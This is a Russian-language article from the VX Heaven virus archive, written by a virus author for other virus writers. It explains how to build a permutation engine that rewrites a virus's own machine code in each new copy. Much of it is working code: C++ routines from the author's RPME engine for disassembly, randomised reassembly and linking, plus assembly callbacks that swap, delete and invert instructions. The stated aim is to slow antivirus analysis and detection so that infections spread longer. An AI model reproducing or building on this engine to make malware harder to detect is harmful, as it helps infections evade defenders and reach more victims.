Maximize
Bookmark

VX Heaven

Library Collection Sources Engines Constructors Simulators Utilities Links Forum

О пермутации

Z0mbie
Top Device Online [5]
Май 2000

[Вернуться к списку] [Комментарии]

версия 1.01

Содержание

Вступление

Почему я взялся за написание этой статьи? Потому, что разобрался с пермутацией и на этом пути узнал много нового, а такие знания представляют наибольшую ценность, и, следовательно, достойны опубликования. Сегодня пермутация распространена скорее в виде идеи, чем на практике. Я за то, чтобы положить начало широкому практическому применению. Но обо всем по порядку. Возможности программиста ограничиваются в первую очередь его воображением, и только потом умением и опытом. В какой-то момент вы подумаете - это все теория, фантазии. Поэтому хочу предупредить такие действия, сказав, что все здесь описанное, реализовано мной на практике, и это реально существует и работает.

Нас, вирмэйкеров, объединяет процесс. Цель у каждого своя. Кто-то получает удовольствие, кто-то знания, кто-то -- и то и другое. Удовольствия я оставлю себе, а знания предлагаю вам.

Термины

Пермутация

Слово "пермутация" пришло хрен знает откуда. В словаре написано, что это: перестановка, подстановка, размещение, перемена, изменение, перемещение и т.п. Мы будем понимать под пермутацией процесс изменения вируса на уровне ассемблерных инструкций. Еще более детально, пермутация -- это создание новой копии вируса состоящей из перемещенных в другое место и, возможно, измененных инструкций, используя в качестве источника имеющуюся копию.

Метаморфизм (генерация кода)

Существует еще одна интересная фича, не имеющая к пермутации никакого отношения. Заключается эта фича вот в чем: вирус кодируется некоторым хитрым образом, а в процессе создания каждой новой полиморфной копии вируса на основе этих закодированных данных и генерируется ассемблерный код. Так поступают вирусы TMC, Lexotan и теперь уже порядком других появилось. Прообразом таких действий мне представляется генератор полиморфных расшифровщиков, где расшифровщик вырос до размеров вируса.

Плюсы и минусы пермутации

Минус тут один -- это сложно. Плюсы в том, что пермутирующий вирус сложнее дизассемблировать и изучать, и, следовательно при возникновении эпидемии вирус имеет больше времени на распространение. К этому вопросу стоит отнестись достаточно серьезно хотя бы потому, что если началось нечто вроде "цепной реакции" распространения вируса, и за каждый следующий час число копий значительно увеличивается, то любая задержка в написании антивирусного кода играет значительную роль.

Кроме того, с пермутацией вносятся сложности в процесс детектирования вируса в файле, замедление которого весьма нас порадует.

Ограничения на исходный код

Поскольку пермутацию мы будем применять к своему собственному коду, то мы наложим на него некоторые ограничения, что позволит сильно упростить алгоритм движка и сделает возможными разные интересные вещи.

Здесь уже должно быть ясно, что внутри буфера с исходным кодом (т.е. с вирусом) не должно быть никаких данных -- они были бы просто потеряны после генерации нового буфера. Таким образом мы избавляемся от необходимости анализа данных. Взамен этого неиспользуемое пространство в выходном буфере может быть заполнено, например, случайными значениями.

Все команды условного перехода должны идти непосредственно после команд, изменяющих соответствующие флаги -- это позволит нам менять местами воздействующие на флаги инструкции.

Хранение данных внутри кода

Рассмотрим вопрос о хранении данных внутри пермутирующего вируса. Учитывая то, что измененные инструкции могут быть другой длины, вирус есть буфер в котором содержится только код; этот буфер будет перестраиваться с каждой новой копией вируса.

В таком случае возможны два варианта:

Мне ближе всего второй вариант. Он обладает следующими свойствами: в вирусе присутствует только буфер с кодом; данные разбиты на части, каждая из которых генерируется по мере необходимости. Недостаток тут такой: код, генерирующий данные, занимает чуть больше места, чем сами данные.

Решением этой проблемы являются макросы, генерирующие код из текстовых строк.

lea	edi, temparea				x_push	ecx, C:\WINDOWS\*.EXE~
x_stosd C:\WINDOWS\*.EXE~			nop
						x_pop

Сгенеренный этими макросами код может выглядеть, например, так:

BF00200010	mov 	edi,0xxxxxxxx		33C9		xor	ecx,ecx
33C0		xor 	eax,eax			81E900868687	sub	ecx,087868600
2DBDC5A3A8	sub 	eax,0A8A3C5BD		51		push	ecx
AB		stosd				81F12E3F213D	xor	ecx,03D213F2E
350A741818	xor	eax,01818740A		51		push	ecx
AB		stosd				81C1290E04E5	add	ecx,0E5040E29
050E0518DB	add	eax,0DB18050E		51		push	ecx
AB		stosd				81F11E1D1865	xor	ecx,065181D1E
357916046F	xor	eax,06F041679		51		push	ecx
AB		stosd				81E90614E8F7	sub	ecx,0F7E81406
2D2ECD0111	sub	eax,01101CD2E		51		push	ecx
AB		stosd				90		nop
						8D642414	lea	esp,[esp+00014]

Внешние вызовы

На вход пермутирующему движку подается исходный буфер с кодом. Метки, на которые из этого буфера идет передача управления командами типа JMP/CALL/JCC (с относительным к EIP аргументом), могут быть как внутри так и вне буфера. Последние мы будем называть внешними метками. От пермутирующего движка будет требоваться сохранить работоспособными все внешние вызовы.

Дизассемблирование инструкций

Практика показала, что если не идеально, то близко к совершенству вынесение дизассемблирования инструкций в отдельную задачу. При этом дизассемблирование имеется в виду не полное, а только на предмет длины инструкции. Поэтому мы отдельно пишем и отлаживаем дизассемблер длин, и применяем где только придется, включая и нашу задачу.

Дизассемблер длин может быть, конечно, расчитан только на те инструкции, которые используются в конкретном вирусе. Это упрощает дизассемблер в разы, лишая его универсальности. То есть такой дизассемблер может быть применен только к одному вирусу и в следующий раз придется его переделывать. Написав несколько штук таких весьма похожих подпрограмм, я остановился на универсальном дизассемблере длин LDE32, чего и вам желаю.

Итак, в дальнейшем мы знаем длину любой команды, и исходя из этого можем разбить весь вирус на минимальные его составляющие - инструкции.

Список инструкций

Для работы с инструкциями существует несколько препятствий. Например то, что инструкции переменной длины -- это заставляет встраивать в пермутирующий движок дизассемблер длин. (в вирусах Ply этот вопрос решен тем, что все команды дополнены до одинаковой длины NOP-ами). Также нам мешает то, что инструкции могут быть связаны командами типа JMP и CALL -- это не позволяет просто так убрать какую-нибудь инструкцию из программы или вставить в программу лишнюю инструкцию. Значит требуется преобразование ассемблерного кода в некоторую промежуточную сущность, кояя позволит легко оперировать инструкциями. Таким объектом является список инструкций. Можно обойтись и без списка инструкций. Так я поступил в ZCME. Движок работал за один проход, в котором одновременно происходило дизассемблирование старого кода и ассемблирование нового. В результате в один момент времени я мог рассматривать только одну ассемблерную команду, но не несколько. Список же позволяет не только единовременно оперировать несколькими инструкциями, но и производить над ними такие действия, которые без него весьма трудоемки.

Формат записи списка

Рассмотрим одну запись списка, соответствующую одной ассемблерной команде.

Во-первых, должен существовать указатель на следующую запись списка, коий равняется NULL для последней записи.

Следует отметить, что этот указатель связывает только записи списка, но не команды. То есть команда в следующей записи списка не является ассемблируемой сразу после команды из предыдущей записи.

Теперь информация о команде.

  1. собственно опкод (или поинтер на него)
  2. длина опкода
  3. указатель на запись следующей команды (но не обязательно на следующую запись в списке). =NULL, если текущая команда типа RET или JMP.
  4. указатель на запись условно-следующей команды, то есть той команды, на которую указывают call-ы, jcc и т.п., либо jmp-ы, либо же указатель на метку, внешнюю по отношению к исходному блоку кода. =NULL, если текущая команда не является одной из jmp/call/...
  5. флаги. во флагах указывается такая информация, как
    • является ли команда меткой (XREF),
    • является ли указатель на условно-следующую команду указателем на внешний адрес или на запись списка

В качестве дополнительной информации в записи может хранится еще и текущее смещение команды, оно используется во время дизассемблирования&обработки списка, а также во время ассемблирования&линковки.

#define CM_STOP         1       // JMP/RET-alike instruction
#define CM_HAVEREL      2       // have relative argument (JMP,JCC,CALL,etc.)
#define CM_EXTREL       4       // rel. arg points to external label
#define CM_ASSEMBLED    8       // alredy assembled
#define CM_XREF         16      // label, i.e. have XREF

struct hooy                     // instruction list entry structure
{
        BYTE    cmd[MAXCMDLEN]; // opcode
        BYTE*   ofs;            // pointer to current location (temporary)
        DWORD   len;            // length of command
        DWORD   flags;          // CM_xxx
        hooy*   rel;            // CM_HAVEREL: 0=NULL 1= CM_EXTREL: 0=hooy* 1=BYTE*
        hooy*   nxt;            // CM_STOP: 1=NULL 0=hooy*
        hooy*   next;           // next entry or NULL
};
 

Этапы пермутации

Итак, с учетом списка инструкций имеем три основных этапа:

    1. дизассемблирование кода (создание списка инструкций)
    2. обработка списка (*)
  1. изменение списка инструкций (собственно мутация)
    1. ассемблирование нового кода
    2. линковка (**)

(*) дизассемблирование предполагает наличие последующего этапа, то есть некоторую обработку списка уже после дизассемблирования всего исходного кода. Эта обработка позволит сделать команды независимыми от их исходных смещений, то есть заменить ссылки на смещения (на метки) ссылками на записи списка.

Кроме всего прочего, обработка списка позволяет выявить метки, то есть команды, на которые происходит передача управления. (эта информация потребуется при последующей мутации)

(**) Ассемблирование предполагает наличие последующей линковки. Это происходит потому, что существует ситуация, когда уже была ассемблирована первая команда с указателем на вторую, но еще не была ассемблирована вторая команда, то есть адрес второй команды еще не известен сейчас, а будет известен только позже.

Дизассемблирование

Итак, дизассемблирование у нас есть разбор куска кода в список инструкций. Происходит это по следующему алгоритму:

        пометить все точки входа для последующей обработки
        while (есть помеченные для-последующей-обработки инструкции)
        {
                найти оффсет инструкции для-последующей-обработки
                for (;;)
                {
                        вычислить длину команды (используя дизассемблер длин)
                        пометить инструкцию как код
                        добавить инструкцию в список
                        если опкод JMP/CALL/JCC то обозначить метку на которую они показывают
                        как 'для-последующей-обработки'
                        если опкод RET или JMP то выход из цикла
                        перейти к следующему опкоду
                        если опкод уже обработан, выход из цикла
                }
        }
 

Ниже приведен кусок из движка RPME, дизассемблирующая часть:

        imap[ientry] = C_NEXT;                                  // mark entrypoint(s)
        for (hooy**h = &root;;) {                               // main disasm cycle
                DWORD ip;                                       // current address (relative)
                for (ip=0; ip<isize; ip++)                      // search for C_NEXT
                        if (imap[ip]==C_NEXT)
                                break;
                if (imap[ip]!=C_NEXT)
                        break;                                  // break if not found
                for (;;) {                                      // disasm cycle -- until RET found
                        DWORD len=user_disasm(&ibuf[ip]);       // get instruction length
                        if (len>=MAXCMDLEN)                     // check error (len=-1,len>MAXCMDLEN)
                                return ERR_DISASM;
                        for (DWORD i=0; i<len; i++)
                                imap[ip+i]=C_CODE;              // mark as code
                        // analyze instruction
                        DWORD nxt=ip+len;                       // default nxt-entry
                        DWORD rel=NONE;                         // default jxx-entry
                        BYTE o=ibuf[ip];                        // opcode, 1 byte
                        WORD w=*(WORD*)&ibuf[ip];               // opcode, 2 bytes
                        DWORD b=ip+len+(char)ibuf[ip+len-1];    // rel.arg, VA, 1-byte
                        DWORD d=ip+len+*(long*)&ibuf[ip+len-4]; // ..., 4-byte
                        if (((o&0xF0)==0x70)||((o&0xFC)==0xE0))
                                rel=b;                          // jcc,jcxz,loop/z/nz
                        if ((w&0xF0FF)==0x800F) rel=d;          // jcc near
                        if (o==0xE8) rel=d;                     // call
                        if (o==0xEB) { rel=b; nxt=NONE; };      // jmp short
                        if (o==0xE9) { rel=d; nxt=NONE; };      // jmp
                        if (((o&0xF6)==0xC2)||(o==0xCF)||((w&0x38FF)==0x20FF))
                                nxt=NONE;                       // ret/ret#/retf/retf#/iret/jmp modrm
                        if (rel<isize)                          // in range?
                        if (imap[rel]==C_NONE)                  // if not processed yet
                                imap[rel]=C_NEXT;               // mark as C_NEXT
                        // add instruction into list
                        hooy* h0 = *h;
                        if (*h!=NULL) h=&(*h)->next;
                        *h = (hooy*)user_malloc(sizeof(hooy));  // allocate entry
                        if (!*h) return ERR_NOMEMORY;
                                (*h)->ofs=&ibuf[ip];
                        if (h0) if (!h0->nxt) h0->nxt = (hooy*)(*h)->ofs;
                        for (DWORD i=0; i<len; i++)
                                (*h)->cmd[i]=(*h)->ofs[i];
                        (*h)->len=len;
                        (*h)->flags=0;
                        if (*h==root) (*h)->flags|=CM_XREF;     // mark entrypoint as XREF-ed
                        (*h)->rel=NULL;
                        if (rel!=NONE) {
                                (*h)->flags|=CM_HAVEREL|CM_EXTREL;
                                (*h)->rel=(hooy*)&ibuf[rel];
                        };
                        if (nxt==NONE) (*h)->flags|=CM_STOP;
                        (*h)->nxt=NULL;
                        (*h)->next=NULL;
                        if (rel<isize) {                        // range check
                                if (imap[rel]==C_NONE)          // if not processed yet
                                        imap[rel]=C_NEXT;       // mark as C_NEXT
                        }
                        // continue disasm cycle
                        ip=nxt;                                 // go to next instruction
                        if (ip>=isize) break;                   // NONE/out of range?
                        if (imap[ip]==C_CODE) {
                                (*h)->nxt=(hooy*)&ibuf[ip];
                                break;                          // break if alredy code
                        }
                } // cycle until RET found
        } // main disasm cycle
 

Подготовка списка к мутации

Собственно этот пункт не обязателен, он нужен для упрощения задачи. Здесь мы проводим две операции:

В принципе этот этап не обязателен если вы планируете использовать JMPы как постоянные команды. Я же использую JMPы в качестве мусора, поэтому здесь они удаляются, а при ассемблировании списка будут добавляться случайным образом.

Ассемблирование списка

На этом шаге у нас есть список уже измененных инструкций из которого нужно сделать ассемблерный код. Ассемблирование списка происходит по следующему алгоритму:

        while (есть не ассемблированные команды в списке)
        {
                выбрать случайную инструкцию из списка
                for (;;)
                {
                        с некоторй вероятностью: выбрать случайное место в выходном буфере
                        копировать команду в буфер
                        сохранить смещение команды в буфере в запись списка
                        перейти к следующей команде
                        если команда уже была добавлена в список, выход
                }
        }
 

Вот как это выглядит на C++:

        DWORD ip=0;
        if (poentry) *poentry=ip;
        printf("entrypoint at %08X\n", ip);
        if (ofiller!=NONE)
                for (DWORD i=0; i<osize; i++)
                        obuf[i]=ofiller;
        BYTE* omap = (BYTE*)user_malloc(osize);
        if (!omap)
                return ERR_NOMEMORY;
        for (DWORD i=0; i<osize; i++)
                omap[i]=0;
        for (hooy* q=root; q; q=q->next)                        // for each entry
                if (!(q->flags&CM_ASSEMBLED)) {                 // if not assembled yet
                        for (hooy* h=q; h; h=h->nxt) {          // for nxt-linked entries
                                if (h->flags&CM_ASSEMBLED) {    // alredy assembled?
                                        omap[ip]=1;
                                        obuf[ip++]=0xE9;        // link with jmp
                                        *(DWORD*)&omap[ip]=0x01010101;
                                        ip+=4;
                                        *(DWORD*)&obuf[ip-4]=(DWORD)h->ofs-(DWORD)&obuf[ip];
                                        break;                  // break
                                } else {                        // not assembled yet
                                        h->flags|=CM_ASSEMBLED;
                                        for (DWORD i=0; i<h->len; i++)
                                                omap[ip+i]=1;
                                        h->ofs=&obuf[ip];
                                        for (DWORD i=0; i<h->len; i++)
                                                h->ofs[i]=h->cmd[i];
                                        ip+=h->len;
                                }
                                if (h->flags&CM_STOP)
                                        break;                  // RET/JMP-alike
                        }
                }
 

Линковка

Линковка здесь требуется не для абсолютных смещений, которые мы вовсе не рассматриваем, а для относительных к EIP 4х-байтных смещений, коии присутствуют после опкодов jmp,call,jcc. Относительный адрес перехода можно пофиксить зная, на которую запись списка указывает относительное смещение и зная оффсеты текущей команды и команды-метки (эти оффсеты становтся известны при ассемблировании).

        for (hooy* h=root; h; h=h->next)                        // for each entry
                if (h->flags&CM_HAVEREL) {                      // have relative argument?
                        *(DWORD*)&h->ofs[h->len-4]=
                        (h->flags&CM_EXTREL ? ((DWORD)h->rel+extrelfix) : (DWORD)h->rel->ofs)
                        - (DWORD)h->ofs - h->len;
        }
 

Дополнение алгоритма (plugin-ы) и внешняя мутация

Совершенно охуительным качеством любого движка (равно как и вирусного конструктора) является добавление к нему новых возможностей. Причем сии дополнения должны быть намного проще чем написание всего движка и, желательно, приводить к таким изменениям в работе движка, чтобы антивируснику приходилось заново разбираться с кодом, произведенным в результате изменений. Именно по этому мутация, то есть -- мутация списка инструкций, производимая между дизассемблированием и ассемблированием, должна быть вынесена во внешнюю процедуру, которая может быть легко изменена и/или дополнена пользователем.

Изенение списка (мутация)

Очевидны три основных действия, применяемых к инструкциям: замена, перестановка и мусор (т.е. добавление мусора). Действие может быть ОБРАТИМЫМ и НЕОБРАТИМЫМ, в зависимости от того, возможно ли после него вернуться к исходному состоянию или нет. Необратимые действия как правило приводят к увеличению кода. Замена и перестановка являются операциями обратимыми. Добавление мусора может быть операцией как обратимой, так и необратимой, в зависимости от того, насколько наши возможности совпадают со сложностью алгоритма удаления мусора из кода. Комбинация замены и мусора увеличивает вероятность необратимых изменений в коде.

Возможны два варианта мутации, с использованием необратимых изменений и без них.

  1. В случае необратимых изменений, код будет каждый раз несколько увеличиваться.
  2. В случае только обратимых изменений, объем кода будет изменяться только в некоторых пределах.

Замена

Очевидно, сказать здесь почти нечего -- все определяется практической реализацией... (что называется -- смотри код)

Рассмотрим например такую команду, как условный переход (Jcc). Находим Jcc, меняем на JNcc (инвертируем условие, попросту - XORим опкод на 1). Меняем местами указатели на следующую и условно-следующую записи списка. Готово. Теперь при ассемблировании две ветви алгоритма (после Jcc) поменяются местами.

Пример:

	; JNZ (было)		JZ (стало)
	...			...
	cmp	eax, 'MZ'	cmp	eax, 'MZ'
	jnz	skip		jz	exe
exe:	call	infect	skip:	nop
skip:	nop			...
	...		exe:	call	infect
	jmp	skip	; auto-generated jmp

Еще пара вариантов замены: XOR r, r <--> SUB r, r, TEST r, r <--> OR r,r и т.п.

Перестановка

Учитывая одно из наложенных на код ограничений -- условные jmp-ы идут только сразу за командами, устанавливающими соответствующие флаги, рассмотрим 2 команды, следующая за которыми - не jcc.

Обязательным условием будет также отсутствие флага XREF на каждой из команд, то есть они не должны быть метками. Кроме того, из двух команд только одна может использовать стэк. А если какая-либо из команд использует ESP, то обе не должны использовать стэк.

	ttt	[r1] [,r2]
	ttt	[r3] [,r4]
	условие допустимости перестановки двух команд:
	(r1 != r4) && (r2 != r3) && (r1 != r3)

если какой-либо один из аргументов отсутствует, условия с ним не проверяются.

Применяя таким образом перестановку для всего списка инструкций легко добиваемся перемешивания некоторых команд друг с другом.

Мусор

Процедуры перестановки команд и добавления мусора, а точнее их сложность, находятся в зависимости от ограничений на код, то есть от дополнительных правил, которые мы накладываем на ассемблерные инструкции. Чем сложнее мусор, добавляемый в код, тем сложнее его генерировать и удалять, и тем сложнее оставить программу работоспособной. С другой стороны, чем проще мусор - тем легче его генерировать и удалять, в идеале это NOP, не влияющий ни на флаги, ни на регистры, ни на стэк. При всем этом мусор не обладает практически никакой эффективностью, то есть не делает программу сложнее, хотя при этом сильно увеличивает результирующий код. Другими словами, если детектирующий алгоритм будут писать таким, каким я себе это представляю, то один хуй, убирать ли из вируса NOPы или более сложные инструкции - результат почти тот же самый.

О результатах

О результатах расскажем и даже покажем кодом.

Итак, в середине пермутации движок вызывает процедуру обработки списка инструкций. (callback)

Проход по всем инструкциям вируса выглядит так:

        mov     ebx, _root
__cycle:
        ; обработка текущей инструкции

        mov     ebx, [ebx].h_next
        or      ebx, ebx
        jnz     __cycle
 

Для того, чтобы во всем вирусе изменить все, например, NOPы на XCHG EBX,EBX в обработку инструкции достаточно добавить такой код:

        cmp     [ebx].h_opcode, 90h
        jne     __skip
        mov     word ptr [ebx].h_opcode, 0DB87h
        mov     [ebx].h_len, 2
__skip:
 

Для того, чтобы удалить инструкцию из списка и, соответственно, из вируса, делаем так:

        mov     eax, [ebx].h_next
        mov     eax, [eax].h_next
        mov     [ebx].h_next, eax
 

или так:

        mov     [ebx].h_len, 0
        mov     [ebx].h_flags, 0
 

В первом случае могут остаться ссылки на эту запись (то есть она реально не удалится) (проверить сие можно так: test [ebx].h_flags, CM_XREF)

Для того, чтобы инвертировать все jcc на jncc с сохранением работоспособности кода, делаем так:

        mov     ax, word ptr [ebx].h_opcode
        and     ax, 0F0FFh
        cmp     ax, 0800Fh      ; near jcc: 0F 8x nn nn nn nn
        jne     __skip
        xor     [ebx].h_opcode, 1
        mov     eax, [ebx].h_nxt
        xchg    eax, [ebx].h_rel
        mov     [ebx].h_nxt, eax
__skip:
 

Мне кажется, что легкость приведенных операций и все возможные их применения вполне оправдывают затраченные усилия.

[Вернуться к списку] [Комментарии]
By accessing, viewing, downloading or otherwise using this content you agree to be bound by the Terms of Use! vxheaven.org aka vx.netlux.org
deenesitfrplruua